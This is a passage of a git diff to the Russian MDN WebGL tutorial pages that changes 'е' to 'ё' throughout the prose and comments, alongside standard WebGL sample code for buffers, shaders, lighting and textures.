b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html index 0684b89016..f9390f7fe2 100644 --- a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html @@ -9,9 +9,9 @@ original_slug: Web/API/WebGL_API/Tutorial/Создание_3D_объектов_ --- <p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p> -<p>Давайте поместим наш квадрат в трехмерное пространство, добавив еще 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p> +<p>Давайте поместим наш квадрат в трёхмерное пространство, добавив ещё 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p> -<p>Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трем граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трем граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трех разных цветов, по одной для каждой грани.</p> +<p>Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трём граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трём граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трёх разных цветов, по одной для каждой грани.</p> <h2 id="Определение_позиций_вершин_куба">Определение позиций вершин куба</h2> diff --git a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html index 0e50af82fa..c42db89750 100644 --- a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html @@ -7,9 +7,9 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL --- <p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p> -<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяет веб-контенту использовать API, основанный на <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0, для визуализации трехмерной графики без использования плагинов в HTML элементе <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a> в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.</p> +<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяет веб-контенту использовать API, основанный на <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0, для визуализации трёхмерной графики без использования плагинов в HTML элементе <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a> в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.</p> -<p>Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трехмерной графики. Данная статья не обучит вас OpenGL.</p> +<p>Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трёхмерной графики. Данная статья не обучит вас OpenGL.</p> <h2 id="Подготовка_к_визуализации_в_3D">Подготовка к визуализации в 3D</h2> @@ -24,7 +24,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL <h3 id="Подготовка_контекста_WebGL">Подготовка контекста WebGL</h3> -<p>Функция <code>start()</code>, в нашем JavaScript коде вызывается после загрузки документа. Ее назначение - настройка контекста WebGL и начать отрисовку содержимого.</p> +<p>Функция <code>start()</code>, в нашем JavaScript коде вызывается после загрузки документа. Её назначение - настройка контекста WebGL и начать отрисовку содержимого.</p> <pre class="brush: js">var gl; // глобальная переменная для контекста WebGL @@ -36,7 +36,7 @@ function start() { // продолжать только если WebGL доступен и работает if (gl) { - gl.clearColor(0.0, 0.0, 0.0, 1.0); // установить в качестве цвета очистки буфера цвета черный, полная непрозрачность + gl.clearColor(0.0, 0.0, 0.0, 1.0); // установить в качестве цвета очистки буфера цвета чёрный, полная непрозрачность gl.enable(gl.DEPTH_TEST); // включает использование буфера глубины gl.depthFunc(gl.LEQUAL); // определяет работу буфера глубины: более ближние объекты перекрывают дальние gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT); // очистить буфер цвета и буфер глубины. @@ -44,13 +44,13 @@ function start() { } </pre> -<p>Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем ее в переменную <code>canvas</code>. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить ее в локальной переменной или в поле объекта.</p> +<p>Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем её в переменную <code>canvas</code>. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить её в локальной переменной или в поле объекта.</p> -<p>Как только мы получили ссылку на canvas, мы вызываем функцию <code>initWebGL()</code>; Эту функцию мы определяем незамедлительно, ее работа - инициализировать контекст WebGL.</p> +<p>Как только мы получили ссылку на canvas, мы вызываем функцию <code>initWebGL()</code>; Эту функцию мы определяем незамедлительно, её работа - инициализировать контекст WebGL.</p> -<p>Если контекст успешно инициализирован, в <code>gl</code> будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на черный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.</p> +<p>Если контекст успешно инициализирован, в <code>gl</code> будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на чёрный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.</p> -<p>Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трехмерных объектов.</p> +<p>Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трёхмерных объектов.</p> <h3 id="Создание_контекста_WebGL">Создание контекста WebGL</h3> @@ -80,19 +80,19 @@ function start() { <div class="note"><strong>Обратите внимание:</strong> Контекст, именуемый как "experimental-webgl" - это временное имя для контекста, используемое на время процесса разработки спецификации. После того, как спецификация будет полностью разработана будет использоваться только имя контекста "webgl".</div> -<p>На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой черный блок, готовый к заполнению контентом.</p> +<p>На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой чёрный блок, готовый к заполнению контентом.</p> -<p>Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведенного выше кода, щелкнув по этой <a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">ссылке</a>.</p> +<p>Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведённого выше кода, щёлкнув по этой <a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">ссылке</a>.</p> <h3 id="Изменение_размера_контекста_WebGL">Изменение размера контекста WebGL</h3> -<p>Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путем задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL <code>viewport()</code>, чтобы подтвердить изменения.</p> +<p>Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путём задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL <code>viewport()</code>, чтобы подтвердить изменения.</p> <p>Чтобы изменить размер области отрисовки контекста WebGL с переменными <code>gl</code> и <code>canvas</code>, использующимися в примере выше:</p> <pre class="brush: js">gl.viewport(0, 0, canvas.width, canvas.height);</pre> -<p>Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьезным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (<abbr style="line-height: 24px;" title='"Multisample'>MSAA) и </abbr>на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.</p> +<p>Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьёзным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (<abbr style="line-height: 24px;" title='"Multisample'>MSAA) и </abbr>на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.</p> <h3 id="Смотрите_также">Смотрите также</h3> diff --git a/files/ru/web/api/webgl_api/tutorial/index.html b/files/ru/web/api/webgl_api/tutorial/index.html index 9b0f0f75e6..88f55bf361 100644 --- a/files/ru/web/api/webgl_api/tutorial/index.html +++ b/files/ru/web/api/webgl_api/tutorial/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial <h2 id="Перед_тем_как_начать">Перед тем как начать</h2> -<p>Использование элемента <code><canvas></code> - это не сложно, но вы должны понимать основы <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> и <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. <code><canvas></code> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создает графику на лету.</p> +<p>Использование элемента <code><canvas></code> - это не сложно, но вы должны понимать основы <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> и <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. <code><canvas></code> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создаёт графику на лету.</p> <h2 id="В_этом_руководстве">В этом руководстве</h2> @@ -35,5 +35,5 @@ translation_of: Web/API/WebGL_API/Tutorial <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Освещение объектов в WebGL</a></dt> <dd>Как симулировать эффект света в контексте WebGL.</dd> <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Анимирование текстур в WebGL</a></dt> - <dd>Как анимировать текстуры; здесь путем отображения Ogg видео на поверхность вращающегося куба.</dd> + <dd>Как анимировать текстуры; здесь путём отображения Ogg видео на поверхность вращающегося куба.</dd> </dl> diff --git a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html index 57c1b21e35..f1645ba200 100644 --- a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL <p><strong>Окружающий свет</strong> освещает всю сцену. Он не направленный и освещает все грани всех объектов одинаково, не зависимо от ориентации граней.</p> -<p><strong>Направленный свет</strong> исходит из определенного направления. Этот свет приходит от настолько удаленного источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.</p> +<p><strong>Направленный свет</strong> исходит из определённого направления. Этот свет приходит от настолько удалённого источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.</p> <p><strong>Точечный свет</strong> исходит из одной точки во всех направлениях. В реальном мире многие источники освещения являются точечными, например электрическая лампочка.</p> @@ -28,11 +28,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL <li>Нам нужно знать направление, в котором распространяется свет. Оно определяется <strong>вектором направления</strong>.</li> </ol> -<p>Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учетом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.</p> +<p>Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учётом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.</p> <h2 id="Построение_нормали_для_вершин">Построение нормали для вершин</h2> -<p>Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчет нормалей будет более затратным.</p> +<p>Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчёт нормалей будет более затратным.</p> <pre class="brush: js"> const normalBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer); @@ -89,7 +89,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL </pre> -<p>Код уже должен выглядеть узнаваемо. Мы создаем новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи <code>bufferData()</code>.</p> +<p>Код уже должен выглядеть узнаваемо. Мы создаём новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи <code>bufferData()</code>.</p> <p>Затем добавим в <code>drawScene()</code> код, который свяжет массив нормалей с атрибутом шейдера. Таким образом шейдер сможет получить к нему доступ:</p> @@ -114,7 +114,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL } </pre> -<p>В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер <strong>матрицу нормалей</strong>, которая используется для трансформации нормалей при расчете ориентации куба относительно направления на источник света:</p> +<p>В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер <strong>матрицу нормалей</strong>, которая используется для трансформации нормалей при расчёте ориентации куба относительно направления на источник света:</p> <pre class="brush: js"> const normalMatrix = mat4.create(); mat4.invert(normalMatrix, modelViewMatrix); @@ -166,15 +166,15 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL `; </pre> -<p>После расчета позиции вершины мы передаем координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчет освещения вершины.</p> +<p>После расчёта позиции вершины мы передаём координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчёт освещения вершины.</p> <p>Сначала нужно преобразовать нормаль, основываясь на текущей ориентации куба - умножив нормаль вершины на матрицу нормалей. Затем мы можем рассчитать количество света от направленного источника, которое приходит в вершину, посчитав скалярное произведение преобразованной нормали и вектора направления (направления, с которого приходит свет). Если скалярное произведение меньше нуля, то мы принимаем его за ноль, потому что количество света не может быть меньше 0.</p> -<p>После расчета количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.</p> +<p>После расчёта количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.</p> <h3 id="Фрагментный_шейдер">Фрагментный шейдер</h3> -<p>Фрагментный шейдер должен быть обновлен таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:</p> +<p>Фрагментный шейдер должен быть обновлён таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:</p> <pre class="brush: js"> const fsSource = ` varying highp vec2 vTextureCoord; diff --git a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html index 0c01467385..1e3a2c7358 100644 --- a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html @@ -11,14 +11,14 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL <h2 id="Задание_цвета_вершинам">Задание цвета вершинам</h2> -<p>В GL, объекты строятся с использованием наборов вершин, для каждой из которых задается положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определенных цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.</p> +<p>В GL, объекты строятся с использованием наборов вершин, для каждой из которых задаётся положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определённых цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.</p> -<p>Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зеленого и белый. Первое, что необходимо сделать - назначить эти цвета четырем вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию <code>initBuffers()</code>:</p> +<p>Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зелёного и белый. Первое, что необходимо сделать - назначить эти цвета четырём вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию <code>initBuffers()</code>:</p> <pre class="brush: js"> var colors = [ 1.0, 1.0, 1.0, 1.0, // белый 1.0, 0.0, 0.0, 1.0, // красный - 0.0, 1.0, 0.0, 1.0, // зеленый + 0.0, 1.0, 0.0, 1.0, // зелёный 0.0, 0.0, 1.0, 1.0 // синий ]; @@ -48,11 +48,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL </script> </pre> -<p>Ключевым отличием здесь является то, что для каждой вершины, мы задаем цвет на соответствующее значение из массива цвета.</p> +<p>Ключевым отличием здесь является то, что для каждой вершины, мы задаём цвет на соответствующее значение из массива цвета.</p> <h2 id="Окраска_фрагментов">Окраска фрагментов</h2> -<p>Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведен его код:</p> +<p>Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведён его код:</p> <pre class="brush: html"> <script id="shader-fs" type="x-shader/x-fragment"> void main(void) { @@ -88,7 +88,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0); </pre> -<p>На этом этапе, вы можете посмотреть <a href="/samples/webgl/sample3/index.html" title="https://developer.mozilla.org/samples/webgl/sample3/index.html">результат работы написанного кода</a>, если используете браузер, поддерживающий WebGL. Вы увидите нечто похожее на следующий рисунок (расположенный по центру в большом черном поле):</p> +<p>На этом этапе, вы можете посмотреть <a href="/samples/webgl/sample3/index.html" title="https://developer.mozilla.org/samples/webgl/sample3/index.html">результат работы написанного кода</a>, если используете браузер, поддерживающий WebGL. Вы увидите нечто похожее на следующий рисунок (расположенный по центру в большом чёрном поле):</p> <p><img alt="screenshot.png" class="default internal" src="/@api/deki/files/4081/=screenshot.png"></p> diff --git a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html index 706bf00786..5d3b79d1bc 100644 --- a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL --- <p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p> -<p>Сейчас наша программа рисует вращающийся объемный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.</p> +<p>Сейчас наша программа рисует вращающийся объёмный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.</p> <h2 id="Загрузка_текстур">Загрузка текстур</h2> @@ -52,7 +52,7 @@ function loadTexture(gl, url) { // и к не имеющим размер степени 2, поэтому проверяем, что изображение // имеет размер степени 2 в обеих измерениях. if (isPowerOf2(image.width) && isPowerOf2(image.height)) { - // Размер соответствует степени 2. Создаем MIP'ы. + // Размер соответствует степени 2. Создаём MIP'ы. gl.generateMipmap(gl.TEXTURE_2D); } else { // Размер не соответствует степени 2. @@ -71,15 +71,15 @@ function isPowerOf2(value) { return (value & (value - 1)) == 0; }</code></pre> -<p>Функция <code>loadTexture()</code> начинается с создания объекта WebGL <code>texture</code> вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создает текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.</p> +<p>Функция <code>loadTexture()</code> начинается с создания объекта WebGL <code>texture</code> вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создаёт текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.</p> -<p>Чтобы загрузить текстуру из файла изображения, функция создает объект <code>Image</code> и присваивает атрибуту <code>src</code> адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие <code>image.onload</code>,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.</p> +<p>Чтобы загрузить текстуру из файла изображения, функция создаёт объект <code>Image</code> и присваивает атрибуту <code>src</code> адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие <code>image.onload</code>,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.</p> <p>В WebGL1 изображения размера, не являющегося степенью 2, могут использовать только <code>NEAREST</code> или <code>LINEAR</code> фильтрацию, и для них нельзя создать mipmap. Также для таких изображений мы должны установить натяжение <code>CLAMP_TO_EDGE</code>. С другой стороны, если изображение имеет размер степени 2 по обеим осям, WebGL может производить более качественную фильтрацию, использовать mipmap и режимы натяжения <code>REPEAT</code> или <code>MIRRORED_REPEAT</code>.</p> <p>Примером повторяющейся текстуры является изображение нескольких кирпичей, которое размножается для покрытия поверхности и создания изображения кирпичной стены.</p> -<p>Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придется контролировать, как именно устройство будет обрабатывать текстуру.</p> +<p>Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придётся контролировать, как именно устройство будет обрабатывать текстуру.</p> <pre><code>// также разрешено gl.NEAREST вместо gl.LINEAR, но не mipmap. gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); @@ -88,7 +88,7 @@ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); // Не допускаем повторения по t-координате. gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);</code></pre> -<p>Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный черный цвет <code>rgba(0,0,0,0)</code>.</p> +<p>Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный чёрный цвет <code>rgba(0,0,0,0)</code>.</p> <p>Для загрузки изображения добавим вызов <code>loadTexture()</code> в функцию <code>main()</code>. Код можно разместить после вызова <code>initBuffers(gl)</code>.</p> @@ -145,7 +145,7 @@ const texture = loadTexture(gl, 'cubetexture.png');</code></pre> indices: indexBuffer, };</code></pre> -<p>Сначала мы создаем WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.</p> +<p>Сначала мы создаём WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.</p> <p>Массив <code>textureCoordinates</code> определяет координаты текстуры, соответствующие каждой вершине каждой грани. Заметьте, что координаты текстуры лежат в промежутке между 0.0 и 1.0. Размерность текстуры нормализуется в пределах между 0.0 и 1.0, независимо от реального размера изображения.</p> @@ -174,7 +174,7 @@ const texture = loadTexture(gl, 'cubetexture.png');</code></pre> } `;</code></pre> -<p>Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаем их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.</p> +<p>Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаём их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.</p> <h3 id="Фрагментный_шейдер">Фрагментный шейдер</h3> diff --git a/files/ru/web/api/webgl_api/webgl_best_practices/index.html b/files/ru/web/api/webgl_api/webgl_best_practices/index.html index 64dee04e13..eb5aef450a 100644 --- a/files/ru/web/api/webgl_api/webgl_best_practices/index.html +++ b/files/ru/web/api/webgl_api/webgl_best_practices/index.html @@ -10,9 +10,9 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices <h2 id="Чего_следует_избегать">Чего следует избегать</h2> <ul> - <li>Убедитесь, что ваше приложение не выдает какие-либо ошибки WebGL, возвращаемые функцией <code>getError(). В Firefox при каждой ошибке (до определенного предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?</code></li> + <li>Убедитесь, что ваше приложение не выдаёт какие-либо ошибки WebGL, возвращаемые функцией <code>getError(). В Firefox при каждой ошибке (до определённого предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?</code></li> 